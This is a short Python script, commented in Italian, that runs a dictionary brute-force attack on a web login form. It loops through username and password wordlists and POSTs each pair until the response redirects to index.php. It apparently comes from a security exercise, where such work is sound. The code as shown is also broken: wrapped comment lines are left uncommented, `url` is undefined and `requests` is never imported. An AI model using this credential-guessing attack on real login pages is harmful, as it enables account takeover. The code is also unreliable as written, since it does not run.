

```

#Ottieni in input il file degli username dall'utente
user_file = input("Inserisci il percorso del file contenente gli username: ")
#Apre il file in modalità di lettura e gli assegna un nome di variabile (fd), inoltre
with è ottimo per la gestione dei file
with open(user_file, "r") as fd:
#Legge tutte le righe del file e le memorizza nella lista users
    users = fd.readlines()
#Ottieni in input il file delle password dall'utente
password_file = input("Inserisci il percorso del file contenente le password: ")
#Apre il file in modalità di lettura e gli assegna un nome di variabile (fd), inoltre
with è ottimo per la gestione dei file
with open(password_file, "r") as fd:
#Legge tutte le righe del file e le memorizza nella lista passwords
    passwords = fd.readlines()
#Viene utilizzata per inizializzare una variabile booleana chiamata done e
assegnarle il valore False che servirà a tenere traccia dello stato dell'attacco e
verrà cambiata a True quando sarà trovata una combinazione
done = False
#Stampa il messaggio di attacco e l'URL target
print("Attacco a " + url + "\n")
#Cicla ogni username e password
for user in users:
#Rimuove spazi bianchi o caratteri di nuova linea
    user = user.rstrip()
    for password in passwords:
#Verifica se l'attacco è già stato concluso
        if not done:
#Rimuove spazi bianchi o caratteri di nuova linea
            password = password.rstrip()
            payload = { "username": user,
                        "password": password,
                        "Login": "Login"
                      }
# Effettua una richiesta POST all'URL specificato, includendo i dati di
autenticazione
            response = requests.post(url, data=payload)
#Verifica se il login ha avuto successo
            if response.url.endswith("index.php"):
                print("Successo!\nUtente: " + user + "\nPassword: " + password)
#Imposta a True quando viene trovata una combinazione user/password valida
                done = True
#Esce dal ciclo
                break
            else:
#Stampa un messaggio di fallimento indicando l'utente e la password
                print("Fallito: " + user + " - " + password)

```